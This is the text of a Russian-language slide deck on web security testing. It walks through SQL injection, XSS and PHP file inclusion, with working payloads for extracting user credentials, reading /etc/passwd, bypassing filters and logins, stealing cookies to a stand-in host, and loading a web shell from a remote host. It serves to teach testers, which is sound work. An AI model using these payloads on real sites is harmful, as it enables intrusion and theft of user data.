'

Тестирование защищенности. Все проще чем кажется.

Понравилась презентация – покажи это...





Слайд 0

Тестирование защищенности. Все проще чем кажется. Игорь Бондаренко. Intetics Co.


Слайд 1

Зачем нужно тестировать защищенность 90% сайтов опасны для пользователей и представляют угрозу бизнесу. 43% сайтов не могут хранить конфиденциальную информацию в БД. 80% Вебмастеров не обновляют opensource продукты вовремя. 99,9% сайтов, которые имеют уязвимость, имеют еще несколько уязвимостей. 48% серверов имеют уязвимости на уровне операционной системы и приложений.


Слайд 2

SQL Injection Внедрение SQL-кода — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.


Слайд 3


Слайд 4

Что может получить злоумышленник


Слайд 5


Слайд 6

Архитектура уязвимости типа SQL Injection


Слайд 7

Простейший способ обнаружить уязвимость Добавляем одинарную кавычку к запросу: http://www.site.com/?id=1‘ Получаем ошибку типа: Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/mysite/www/htdocs/include/lib/news.php Или Видим ту же самую страницу что и по ссылке http://www.site.com/?id=1


Слайд 8

Почему так происходит? query = "SELECT * FROM news WHERE id = '" + id + "'" SELECT * FROM news WHERE id = '1''


Слайд 9

Какие еще есть способы проверки? Использование простых арифметических операций в запросе: site.com/index.php?id=2-1(Выводит страницу 1) site.com/index.php?id=1*2(Выводит страницу 2) site.com/index.php?id=1+and+1=1(Выводит страницу 1) Использование сортировки в запросе: site.com/index.php?showthread=285+ORDER+BY+1--+ Подстановка бессмысленной информации в запрос site.com/index.php?id=1 anything (Выводит сообщение об ошибке)


Слайд 10

Как этим пользоваться? /?id=1' UNION SELECT user,password FROM users-- SELECT title,text FROM news WHERE id = '1' SELECT title,text FROM news WHERE id = '1' UNION SELECT user,password FROM users


Слайд 11

Blind SQL injection Тестирование истинных и ложных запросов: site.com/index.php?id=2’ AND ‘1’ = ‘1’-- site.com/index.php?id=2’ AND ‘1’=‘2’-- Вывод информации в отчете об ошибках: site.com/index.php?id=2’ OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(), FLOOR(RAND(0)*2), 64)) -- Duplicate entry '5.0.45' for key 1


Слайд 12

Double-blind injection Посимвольный перебор с помощью Benchmark: site.com/index.php?id=2’ OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) – Способ навредить серверу БД: site.com/index.php?id=2’ AND BENCHMARK(100000, BENCHMARK(100000,md5(current_time)))


Слайд 13

На что еще обращать внимание? URL: http://www.google.com/search?q=inurl:select+inurl:%2520+inurl:from+inurl:where


Слайд 14

Практика, или SQL Injection глазами злоумышленника Определение типа базы данных Проверка прав пользователя на запись файлов Подбор количества столбцов Определение вывода на экран Получение информации о таблицах Получение информации о колонках в требуемой таблице Получение данных из таблицы и вывод на экран


Слайд 15

Ошибки характерные для разных видов баз данных


Слайд 16

Подбор количества столбцов 1. Простой перебор допустим у нас есть сайт с инъекцией: www.site.com/index.php?id=1‘ Выполняем такой запрос www.site.com/index.php?id=-1+UNION+SELECT+1,2,3 -- если появилась ошибка, то увеличиваем количество колонок на одну www.site.com/index.php?id=-1+UNION+SELECT+1,2,3,4 -- и так пока не исчезнет ошибка и появится пустая страница


Слайд 17

2. Оператор ORDER BY www.site.com/index.php?id=-1+order+by+1-- ошибки нет, значит столбцов 1 или больше 1 www.site.com/index.php?id=-1+order+by+9999-- должна появится ошибка, значит столбцов меньше 9999 Далее подбираем таким образом правильное количество, предположим в нашем случае 4 столбца, тогда: www.site.com/index.php?id=-1+order+by+4-- (ошибки не будет) www.site.com/index.php?id=-1+order+by+5-- (ошибка есть)


Слайд 18

Определение вывода Предположим мы подобрали количество столбцов и их оказалось 4 www.site.com/index.php?id=-1+union+select+null,null,null,null Теперь нас интересует в какой части страницы, какая колонка выводится. Для этого подставим вместо одного из null – произвольный набор символов, в нашем случае «111» www.site.com/index.php?id=-1+union+select+null,111,null,null--


Слайд 19

Получаем информацию о версии и пользователе Для получения информации о текущем пользователе используется функция user() www.site.com/index.php?id=-1+union+select+null,user(),null,null-- Для определения версии используется функция version() www.site.com/index.php?id=-1+union+select+null,user(),null,null--


Слайд 20

Чтение и запись файлов Проверка возможности чтения/записи файлов: www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+file_priv+from+mysql.user+where+user= ‘%USERNAME%'-- Чтение файла www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+ union+select+LOAD_FILE('/etc/passwd')+from+mysql.user--


Слайд 21

Узнаем таблицы Для получения информации о таблицах и колонках необходимо обратиться к служебной таблице Information_schema www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO RMATION_SCHEMA.TABLES-- Таким запросом мы узнаём первую таблицу, но нам надо узнать и другие www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO RMATION_SCHEMA.TABLES+LIMIT+1+OFFSET+1--


Слайд 22

Получаем информацию о колонках Перебрав таблицы, определяем ту которая нам будет интересна. Пусть это будет USER, что требуется для получения информации о колонках: www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS-- Таким обрfзом мы выводим названия колонок всех таблиц. Но нам надо узнать имена колонок именно в таблице USER Изменяем немного наш запрос добавляя в него оператор WHERE: www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='user'-- Появится имя первой колонки в таблице user и далее добавляя LIMIT+OFFSET узнаём все колонки.


Слайд 23

Фильтрация кавычек Чаще всего, проделав действия описанные на предыдущем слайде, вы увидите ошибку: ERROR: syntax error at or near "user" at character 122 http://www.paulschou.com/tools/xlate/ www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF  ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=chr(117)|  |chr(115)||chr(101)||chr(114)--


Слайд 24

Фильтрация кавычек Второй способ: использование вложенного подзапроса www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF  ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)--


Слайд 25

Фильтация пробелов В случае фильтрации пробелов существуют следующий способы обхода фильтра: Использование пробельных символов «/*!*/» и «/**/» SELECT * FROM news WHERE id='1'/**/UNION/**/SELECT/**/1,2,3,4,5,6/**/FROM/**/Users/**/WHERE/**/login='admin'#‘ или SELECT * FROM news WHERE id='1'/*!UNION*/SELECT/*!1,2,3,4,5,6*/FROM/*!Users*/WHERE/*!login='admin'*/#' Использование символов табуляции: %09 – табуляция %0A – символ новой строка %0D – возврат каретки %0B – вертикальная табуляция %0C – символ новой страницы http://xxx/news.php?id=1'%09UNION%09SELECT%091,2,3,4,5,6%09FROM%09Users%0 9WHERE%09login='admin'#


Слайд 26

Получение информации из таблицы Составляем запрос: www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user-- Он возвратит нам в данном случае имя пользователя Можно объединять 2 и более колонки разделяя их спец символом www.site.com/index.php?id=-1+union+select+null,username||chr(58)||email,null, null+from+user-- Мы увидим запись типа Login:email


Слайд 27

Уязвимость в скрипте авторизации Поле ввода имени пользователя: Username’-- Поле ввода пароля: 123' OR login='Admin' – %


Слайд 28

Демонстрация примеров


Слайд 29

Программы для работы с инъекциями SQL InjectMe – плагин для Firefox Absinthe – утилита для проведения атак типа SQL Injection SQL checker – анализатор возможности внедрения SQL кода


Слайд 30

XSS XSS (Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты.


Слайд 31

XSS


Слайд 32

XSS Цель Выполнить «чужеродный» JavaScript-код в браузере клиента, когда он находится на атакуемом сайте Как это сделать? Внедрить куда-нибудь фрагмент кода типа <script>...</script> <a onmouseover="..."/> <img src="javascript:..."/>


Слайд 33

Классификация XSS Активный XSS Внедренный скрипт сохраняется в системе и становится доступен для вывода другим пользователям Пассивный XSS Скрипт передается системе в параметрах HTTP-запроса с последующим их выводом в HTML-страницу.


Слайд 34

Чем мы рискуем? Кража Cookies var іmg = new Image(); іmg.srс = 'http://site/xss.php?' + document.cookie; Кража аутентификационных данных добавление обработчика события onsubmit к существующей форме добавление формы с просьбой ввести пароль Перенаправление пользователя на страницы злоумышленников DDOS атаки


Слайд 35

Метод обнаружения /?id="><script>alert(1)</script> HTML - код страницы примет вид .. <font size = ""><script>alert(1)</script>"... В результате браузер выполнит скрипт.


Слайд 36

Типичный случай Самая распространенная разновидность XSS: "><script>alert()</script> Вся суть в "> После добавления к форме "><script>alert()</script> какой-то переменной присваивается значение поля. Переменная обрабатывается, "> закрывает скрипт и выполняет <script>alert()</script>


Слайд 37


Слайд 38

Фильтры: определяем наличие и качество В любое поле вводим проверочную строку: '';!--"<XSSTEST>=&{()} Далее открываем HTML страницы, ищем слово "XSSTEST" и смотрим на прилегающие к нему символы. Если символы <> остались – это первый признак наличия уязвимости Если символы ,"'\ остались такими, как были введены – это второй признак уязвимости (возможно использование дополнительных символов в последующей XSS атаке) Если в HTML, вы не обнаружили <> - это признак отсутствия фильтрации. Если открыв HTML вы обнаружили, что <> заменены на другие символы – фильтр функционирует нормально.


Слайд 39

Практика Допустим фильтр экранирует <> В этом случае существует вероятность обхода фильтра. К примеру, фильтр настроен на удаление <script>,<> и . Для проверки используем конструкцию типа <testxss555> и проверяем, если фильтр не удалил запись - можно составить XSS-скрипт. К примеру вот так: <sc<script>ript>alert()</sc</script>ript>


Слайд 40

Автозакрывающиеся скобки: >>>><<script бывает, что фильтр подсчитывает открывающиеся и закрывающиеся скобки и закрывает сам. Автозакрытие тегов: Бывает что фильтр дополняет скрипт, к примеру вот этим : "> http://site.ru/trye.asp?sessionID="><IMG%20SRC="javascript:alert(); Фильтр проверяет, что ничего опасного в <IMG%20SRC="javascript:alert(); нет, закрывает тег и тем самым выполняет вредоносный скрипт.


Слайд 41

Кража Cookies До этого мы рассматривали скрипты типа: <script>alert (' Test ')</script> javascript:alert (' Test ')/ javascript:alert(' Test ')/1.jpg и так далее.. Теперь рассмотрим следующий скрипт: <script> img = new Image(); img.src = "http://test.com/s/Hack.gif?"+document.cookie; </script> В данном виде скрипт перехватывает cookies пользователя.


Слайд 42

Как воспользоваться этим скриптом? http://site.ru/free?p='><script>img=new Image();img.src="http://test.com/s/Hack.gif?"+document.cookie;"+document.cookie;</script> http://site.ru/free?p='><script src=http://test.com/script/js.js></script> При этом файл js.js содержит: img=new Image();img.src="http://test.com/s/Hack.gif?"+document.cookie; этот способ более надёжен.


Слайд 43

Изменение кодировки http://ha.ckers.org/xss.html Изначально скрипт выглядел так: http://cite.com/test?p='><script src=http://test.com/script/js.js></script> После: %68%74%74%70%3A%2F%2F%63%69%74%65%2E%63%6F%6D%2F%74%65%73%74%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%6E%65%74%2F%73%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E%0A


Слайд 44

DDoS-атака XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста — много запросов, которые не выдерживает атакуемый сервер. Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида: <img src="http://site.com/">


Слайд 45

Демонстрация примеров


Слайд 46

Инструменты для обнаружения XSS XSSme – аддон для Firfox DOMinator – анализатор наличия DOM-based XSS


Слайд 47

PHP Injection PHP Injection или создание веб шеллов – это второй по популярности после SQL инъекции тип уязвимостей.


Слайд 48

Уязвимые функции Eval() Include() Require() Create_function() Preg_replace()


Слайд 49

Виды инклудов <? .. Include ("$page.php"); … ?> Возможен Remote File Inclusion (RFI) <? .. Include ("files/$page.htm"); … ?> Возможен Local File Inclusion (LFI) с использованием нулл байта <? .. Include ("$patch/folder/page.php"); … ?> Возможен RFI при условии создания структуры /folder/page.php на удаленном сервере


Слайд 50

Метод определения уязвимости index.php?page=shop Подставим dsdsds вместо shop: Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3 Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3 Warning: main(): Failed opening 'dsdsds.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3


Слайд 51

Веб шелл Это происходит потому, что код страницы имеет такой элемент <? .. Include ("$page.php"); … ?> Как этим воспользоваться? index.php?page=http://hacker.site/shell Получаем веб шелл, который дает возможность исполнять любые php команды


Слайд 52

Выход за пределы текущего каталога Apache Tomcat 5 версии ниже 5.5.22 и Apache Tomcat 6 ниже 6.0.10 подвержен уязвимости поволяющей перейти к содержимому вышестоящей директории путем указания в пути конструкции "../". 


Слайд 53

Инструменты для обнаружения Graudit - семантически-статический анализатор кода RIPS – утилита для поискам уязвимостей в PHP коде


Слайд 54

Демонстрация примеров


Слайд 55

Вопросы? Email: bondarenko.ihar@yandex.ru Twitter: @iharbondarenko Skype: igor.bondarenko1


×

HTML:





Ссылка: